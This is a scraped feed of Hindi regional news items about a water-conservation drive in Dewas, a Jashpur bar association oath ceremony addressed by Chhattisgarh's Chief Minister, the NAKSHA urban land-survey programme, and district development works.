    देवास जिले में जल गंगा अभियान के अंतर्गत पुराने तालाबों, बावड़ियों और कुँओं का जीर्णोद्धार किया जा रहा है। इसके साथ ही वृक्षारोपण एवं नदियों को साफ-स्वच्छ करने का भी अभियान चलाया जायेगा। इसके लिए जिले में विस्तृत कार्ययोजना तैयार की गई है। अभियान में गर्मी को देखते हुए देवास जिले की नगरीय निकाय पीपलरावां एवं करनावद में सार्वजनिक प्याऊ लगाई गई। इन सार्वजनिक प्याऊ की पहल से आमजनों, पथिकों, यात्रियों आदि को गर्मी के दौरान शीतल पेयजल मिल रहा है। जिले के नगरीय एवं ग्रामीण क्षेत्रों में सार्वजनिक प्याऊ लगाई गई है। इन प्याऊ के माध्यम से राहगीरों के सूखे कंठ की प्यास बुझेगी।

     

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    शोषित-पीड़ितों को न्याय दिलाने हेतु करें कार्य: मुख्यमंत्री साय https://pratyushaashakinayikiran.com/?p=140576 Sun, 16 Mar 2025 13:25:00 +0000 https://pratyushaashakinayikiran.com/?p=140576 रायपुर
    जशपुर जिला व्यवहार न्यायालय में आयोजित जिला अधिवक्ता संघ के शपथ ग्रहण समारोह में मुख्यमंत्री श्री विष्णुदेव साय ने नवनिर्वाचित पदाधिकारियों को शपथ दिलाई और उन्हें न्यायिक सेवा के प्रति समर्पण का संकल्प दिलाते हुए शुभकामनाएं दीं। समारोह में प्रधान जिला एवं सत्र न्यायाधीश श्री मंसूर अहमद, अतिरिक्त जिला एवं सत्र न्यायाधीश श्री जनार्दन खरे, विधायक श्रीमती गोमती साय और श्रीमती रायमुनी भगत सहित कई गणमान्य नागरिक उपस्थित थे।

    शपथ ग्रहण करने वालों में अध्यक्ष श्री ओम प्रकाश साय, वरिष्ठ उपाध्यक्ष श्री जनार्दन प्रसाद सिन्हा, कनिष्ठ उपाध्यक्ष श्रीमती दीपिका कुजूर, सचिव श्री सत्य प्रकाश तिवारी, सह सचिव श्री सूरज चौरसिया, कोषाध्यक्ष श्री सुचेन्द्र कुमार सिंह, ग्रंथपाल श्री गोपाल प्रसाद रवानी और क्रीड़ा एवं सांस्कृतिक सचिव श्री सत्येन्द्र जोल्हे शामिल थे। मुख्यमंत्री  श्री साय ने अधिवक्ता संघ के सभी पदाधिकारियों को शुभकामनाएँ देते हुए कहा कि न्यायपालिका लोकतंत्र की रीढ़ है और अधिवक्ताओं की इसमें प्रमुख भूमिका होती है। उन्होंने कहा कि अधिवक्ताओं को पूरी प्रतिबद्धता और समर्पण के साथ न्याय प्रक्रिया को तेज करने में योगदान देना चाहिए, ताकि समाज के सबसे वंचित तबके को भी न्याय सुलभ हो सके।

    जशपुर अधिवक्ता संघ की ऐतिहासिक भूमिका और न्याय की परंपरा
    मुख्यमंत्री श्री साय ने जशपुर जिला अधिवक्ता संघ के ऐतिहासिक योगदान की चर्चा करते हुए कहा कि यह संघ हमेशा से सामाजिक न्याय और विधिक सेवा में अग्रणी रहा है। उन्होंने श्री भारतचंद काबरा, श्री बालासाहेब देशपांडे और श्री नरहरि साय जैसी विभूतियों का स्मरण करते हुए कहा कि इन सभी ने शोषित, पीड़ित और वंचित लोगों को न्याय दिलाने में महत्वपूर्ण भूमिका निभाई है। उन्होंने अधिवक्ताओं से आह्वान किया कि वे इस परंपरा को बनाए रखते हुए लोगों के अधिकारों की रक्षा करें और उनके लिए न्याय की राह को सुगम बनाएं।

    बार काउंसिल के जीर्णोद्धार एवं ई-लाइब्रेरी के लिए 1 करोड़ रुपये की घोषणा
    मुख्यमंत्री श्री साय ने अधिवक्ताओं के लिए सुविधा और संसाधनों को आधुनिक बनाने की दिशा में बड़ा कदम उठाते हुए बार काउंसिल के जीर्णोद्धार और ई-लाइब्रेरी के निर्माण हेतु 1 करोड़ रुपये की घोषणा की। उन्होंने कहा कि आधुनिक तकनीक के इस दौर में ई-लाइब्रेरी से अधिवक्ताओं और कानून के छात्रों को नवीनतम विधिक जानकारी और अद्यतन संदर्भ सामग्री तक सहज पहुंच प्राप्त होगी। इससे न्यायिक प्रक्रियाओं में दक्षता बढ़ेगी और नए अधिवक्ताओं को अध्ययन व अनुसंधान के बेहतर अवसर मिलेंगे।

    न्यायपालिका और अधिवक्ता संघ का अटूट रिश्ता – प्रधान जिला न्यायाधीश
    इस अवसर पर प्रधान जिला एवं सत्र न्यायाधीश श्री मंसूर अहमद ने कहा कि न्यायपालिका और अधिवक्ता संघ के बीच अटूट रिश्ता है, और दोनों को मिलकर समाज में न्याय और विधि व्यवस्था को सुदृढ़ करने के लिए कार्य करना  चाहिए। उन्होंने अधिवक्ताओं को न्याय की गरिमा बनाए रखने और विधिक सेवा को समाज के अंतिम व्यक्ति तक पहुँचाने की अपील की।

    इस अवसर पर वक्ताओं ने अधिवक्ताओं की समाज में भूमिका, विधिक सहायता की आवश्यकता और न्याय प्रणाली को अधिक प्रभावी बनाने के उपायों पर विचार साझा किए।

    शपथ ग्रहण समारोह में कलेक्टर श्री रोहित व्यास, वरिष्ठ पुलिस अधीक्षक श्री शशिमोहन सिंह, पवन साय, कृष्ण कुमार राय, रामप्रताप सिंह सहित कई वरिष्ठ अधिवक्ता एवं गणमान्य नागरिक उपस्थित थे।

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    शोषित-पीड़ितों को न्याय दिलाने हेतु करें कार्य: मुख्यमंत्री साय https://pratyushaashakinayikiran.com/?p=140580 Sun, 16 Mar 2025 13:25:00 +0000 https://pratyushaashakinayikiran.com/?p=140580 रायपुर
    जशपुर जिला व्यवहार न्यायालय में आयोजित जिला अधिवक्ता संघ के शपथ ग्रहण समारोह में मुख्यमंत्री श्री विष्णुदेव साय ने नवनिर्वाचित पदाधिकारियों को शपथ दिलाई और उन्हें न्यायिक सेवा के प्रति समर्पण का संकल्प दिलाते हुए शुभकामनाएं दीं। समारोह में प्रधान जिला एवं सत्र न्यायाधीश श्री मंसूर अहमद, अतिरिक्त जिला एवं सत्र न्यायाधीश श्री जनार्दन खरे, विधायक श्रीमती गोमती साय और श्रीमती रायमुनी भगत सहित कई गणमान्य नागरिक उपस्थित थे।

    शपथ ग्रहण करने वालों में अध्यक्ष श्री ओम प्रकाश साय, वरिष्ठ उपाध्यक्ष श्री जनार्दन प्रसाद सिन्हा, कनिष्ठ उपाध्यक्ष श्रीमती दीपिका कुजूर, सचिव श्री सत्य प्रकाश तिवारी, सह सचिव श्री सूरज चौरसिया, कोषाध्यक्ष श्री सुचेन्द्र कुमार सिंह, ग्रंथपाल श्री गोपाल प्रसाद रवानी और क्रीड़ा एवं सांस्कृतिक सचिव श्री सत्येन्द्र जोल्हे शामिल थे। मुख्यमंत्री  श्री साय ने अधिवक्ता संघ के सभी पदाधिकारियों को शुभकामनाएँ देते हुए कहा कि न्यायपालिका लोकतंत्र की रीढ़ है और अधिवक्ताओं की इसमें प्रमुख भूमिका होती है। उन्होंने कहा कि अधिवक्ताओं को पूरी प्रतिबद्धता और समर्पण के साथ न्याय प्रक्रिया को तेज करने में योगदान देना चाहिए, ताकि समाज के सबसे वंचित तबके को भी न्याय सुलभ हो सके।

    जशपुर अधिवक्ता संघ की ऐतिहासिक भूमिका और न्याय की परंपरा
    मुख्यमंत्री श्री साय ने जशपुर जिला अधिवक्ता संघ के ऐतिहासिक योगदान की चर्चा करते हुए कहा कि यह संघ हमेशा से सामाजिक न्याय और विधिक सेवा में अग्रणी रहा है। उन्होंने श्री भारतचंद काबरा, श्री बालासाहेब देशपांडे और श्री नरहरि साय जैसी विभूतियों का स्मरण करते हुए कहा कि इन सभी ने शोषित, पीड़ित और वंचित लोगों को न्याय दिलाने में महत्वपूर्ण भूमिका निभाई है। उन्होंने अधिवक्ताओं से आह्वान किया कि वे इस परंपरा को बनाए रखते हुए लोगों के अधिकारों की रक्षा करें और उनके लिए न्याय की राह को सुगम बनाएं।

    बार काउंसिल के जीर्णोद्धार एवं ई-लाइब्रेरी के लिए 1 करोड़ रुपये की घोषणा
    मुख्यमंत्री श्री साय ने अधिवक्ताओं के लिए सुविधा और संसाधनों को आधुनिक बनाने की दिशा में बड़ा कदम उठाते हुए बार काउंसिल के जीर्णोद्धार और ई-लाइब्रेरी के निर्माण हेतु 1 करोड़ रुपये की घोषणा की। उन्होंने कहा कि आधुनिक तकनीक के इस दौर में ई-लाइब्रेरी से अधिवक्ताओं और कानून के छात्रों को नवीनतम विधिक जानकारी और अद्यतन संदर्भ सामग्री तक सहज पहुंच प्राप्त होगी। इससे न्यायिक प्रक्रियाओं में दक्षता बढ़ेगी और नए अधिवक्ताओं को अध्ययन व अनुसंधान के बेहतर अवसर मिलेंगे।

    न्यायपालिका और अधिवक्ता संघ का अटूट रिश्ता – प्रधान जिला न्यायाधीश
    इस अवसर पर प्रधान जिला एवं सत्र न्यायाधीश श्री मंसूर अहमद ने कहा कि न्यायपालिका और अधिवक्ता संघ के बीच अटूट रिश्ता है, और दोनों को मिलकर समाज में न्याय और विधि व्यवस्था को सुदृढ़ करने के लिए कार्य करना  चाहिए। उन्होंने अधिवक्ताओं को न्याय की गरिमा बनाए रखने और विधिक सेवा को समाज के अंतिम व्यक्ति तक पहुँचाने की अपील की।

    इस अवसर पर वक्ताओं ने अधिवक्ताओं की समाज में भूमिका, विधिक सहायता की आवश्यकता और न्याय प्रणाली को अधिक प्रभावी बनाने के उपायों पर विचार साझा किए।

    शपथ ग्रहण समारोह में कलेक्टर श्री रोहित व्यास, वरिष्ठ पुलिस अधीक्षक श्री शशिमोहन सिंह, पवन साय, कृष्ण कुमार राय, रामप्रताप सिंह सहित कई वरिष्ठ अधिवक्ता एवं गणमान्य नागरिक उपस्थित थे।

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    ‘नक्शा’ कार्यक्रम शहरी भूमि रिकार्ड्स के निर्माण और प्रबंधन में लाएगा क्रांति https://pratyushaashakinayikiran.com/?p=132087 Mon, 17 Feb 2025 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=132087 भोपाल
    केन्द्रीय भूमि संसाधन विभाग ने डिजिटल इंडिया लैंड रिकार्ड्स मॉडर्नाइजेशन प्रोग्राम के तहत "नक्शा"(“NAKSHA” National Geospatial Knowledge-based Land Survey of Urban Habitations) कार्यक्रम शुरू किया है। इसका उद्देश्य शहरी भूमि रिकार्ड्स के निर्माण और प्रबंधन में क्रांति लाना है। साथ ही शहरी भूमि रिकार्ड्स के लिये एक सटीक और व्यापक भू-स्थानिक डाटाबेस तैयार करना है। यह कार्यक्रम हवाई और जमीनी सर्वेक्षणों को उन्नत जीआईएस तकनीक के साथ जुड़कर भूमि प्रशासन को बेहतर बनायेगा। संपत्ति स्वामित्व रिकार्ड्स को आसान करेंगा और शहरी योजनाओं को सुचारू रूप से संचालित करने में मदद करेगा। सटीक भू-स्थानिक डेटा से निर्णय लेने की प्रक्रिया बेहतर होगी, भूमि उपयोग योजना अधिक प्रभावी बनेगी और संपत्ति से जुड़े लेन-देन आसानी से किये जा सकेंगे।

    मुख्यमंत्री डॉ. मोहन यादव और केन्द्रीय कृषि एवं किसान कल्याण तथा ग्रामीण विकास मंत्री श्री शिवराज सिंह चौहान ड्रोन की उड़ान के साथ 18 फरवरी को रायसेन जिले से "नक्शा" कार्यक्रम का शुभारंभ करेंगे। साथ ही प्रदेश में "वाटरशेड यात्रा" को हरी झण्डी दिखाकर शुभारंभ करेंगे। प्रदेश के पंचायत और ग्रामीण विकास मंत्री श्री प्रहलाद सिंह पटेल और राजस्व मंत्री श्री करण सिंह वर्मा भी कार्यक्रम के शुभारंभ समारोह में शामिल होंगे। "नक्शा" कार्यक्रम को देश के 152 नगरों में पायलट प्रोजेक्ट के रूप में शुरू किया जा रहा है, जिसमें मध्यप्रदेश के 9 जिलों के 10 नगर (शाहगंज, छनेरा, अलीराजपुर, देपालपुर, धार कोठी, मेघनगर, माखन नगर (बाबई), विदिशा, सांची, उन्हेल) भी शामिल हैं।

    आयुक्त भू-अभिलेख श्रीमती अनुभा श्रीवास्तव ने बताया कि "नक्शा" कार्यक्रम, भूमि संसाधन विभाग केन्द्रीय ग्रामीण विकास मंत्रालय की पहल है। इसका प्रमुख उद्देश्य उन्नत जियोस्पेशियल टेक्नोलॉजी का उपयोग करके शहरी भूमि सर्वेक्षण को आधुनिक बनाना है। यह कार्यक्रम नगरीय भू -प्रबंधन को अधिक पारदर्शी, कुशल और सटीक बनाने की दिशा में एक महत्वपूर्ण कदम है।

    "नक्शा" कार्यक्रम की प्रमुख विशेषताएँ

    "नक्शा" कार्यक्रम की प्रमुख विशेषताओं में शहरी क्षेत्रों के लिए भू-स्थानिक मैपिंग करना, आधुनिक भूमि सर्वेक्षण तकनीकों का प्रयोग करना है। इससे आदलती मामलों, कानूनी दस्तावेजीकरण और ऐतिहासिक भूमि डाटा विश्लेषण में सहायता मिलेगी। त्वरित और अधिक प्रभावी शहरी योजना में सटीक भूमि डेटा से बेहतर जोनिंग, बुनियादी ढांचे के विकास और शहरी विस्तार में न्यूनतम देरी होगी, परिवहन योजना आवासीय परियोजनाओं और सतत् शहरी विकास में सहायता मिलेगी। आपदा प्रबंधन योजना को अधिक प्रभावी बनायेगा। प्रापर्टी टेक्स कलेक्शन में सुधार और शहरी निकायों की वित्तीय स्थिति मजबूत होगी। साथ ही संपत्ति लेन-देन और ऋण प्राप्ति को सरल बनायेगा। "नक्शा" कार्यक्रम से पारदर्शिता और शासन में सुधार होगा इसमें रियल टाइम, शुलभ डिजिटल प्रणाली धोखाधड़ी पर अंकुश लगायेगी और शहरी भूमि प्रबंधन में जनता का विश्वास बढ़ायेगी। इसके साथ ही "नक्शा" कार्यक्रम के क्रियान्वयन से रियल स्टेट और बुनियादी ढांचा को बढ़ावा मिलेगा।

     

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    मुख्यमंत्री विष्णु देव आज मनेन्द्रगढ़-चिरमिरी-भरतपुर जिले को 549 करोड़ रूपए के निर्माण कार्यों की देंगे सौगात https://pratyushaashakinayikiran.com/?p=107720 Mon, 09 Dec 2024 09:21:00 +0000 https://pratyushaashakinayikiran.com/?p=107720 रायपुर
    मुख्यमंत्री श्री विष्णु देव साय 9 दिसम्बर को मनेन्द्रगढ़-चिरमिरी-भरतपुर जिले को 549 करोड़ 26 लाख रूपए की लागत वाले विकास एवं निर्माण कार्यों की सौगात देंगे। चिरमिरी के लाल बहादुर शास्त्री स्टेडियम में आयोजित कार्यक्रम में मुख्यमंत्री श्री साय चिरमिरी में निर्मित जिला चिकित्सालय को लोकार्पित करेंगे। राज्य शासन द्वारा चिरमिरी स्थित सामुदायिक स्वास्थ्य केन्द्र का जिला चिकित्सालय के रूप में उन्नयन कर आवश्यक अधोसंरचना का निर्माण किया गया है। यह जिला चिकित्सालय 100 बिस्तरीय है। यहां शासन द्वारा 8 विशेषज्ञ चित्सिकों तथा 10 मेडिकल आफिसरों एवं पर्याप्त संख्या में पैरा मेडिकल टीम पदस्थ की गई है।

    इस अवसर पर कार्यक्रम की अध्यक्षता उपमुख्यमंत्री श्री अरूण साव करेंगे। कृषि मंत्री श्री रामविचार नेताम, स्वास्थ्य मंत्री श्री श्याम बिहारी जायसवाल कार्यक्रम के अति विशिष्ट अतिथि एवं सांसद श्रीमती ज्योत्सना महंत, विधायक श्रीमती रेणुका सिंह, जिला पंचायत अध्यक्ष श्रीमती रेणुका सिंह, महापौर चिरमिरी श्रीमती कंचन जायसवावल सहित अन्य जनप्रतिनिधि विशिष्ट अतिथि होंगे।

        मुख्यमंत्री श्री विष्णु देव साय मनेन्द्रगढ़-चिरमिरी-भरतपुर जिले में 31 करोड़ 43 लाख 46 हजार रूपए की लागत से निर्मित 141 कार्यों का लोकार्पण तथा 517 करोड़ 82 लाख 81 हजार रूपए की लागत से निर्मित होने वाले 306 विकास एवं निर्माण कार्यों का लोकार्पण करेंगे। मुख्यमंत्री श्री साय इस मौके पर शासन की विभिन्न योजनाओं से लाभान्वित 4002 हितग्राहियों को सामग्री एवं राशि का वितरण करेंगे। लाभान्वितों में किसान, स्व-सहायता समूह की महिलाएं, दिव्यांगजन, मछुआरे, वनाधिकार पत्र, प्रधानमंत्री आवास योजना के हितग्राही आदि शामिल हैं।

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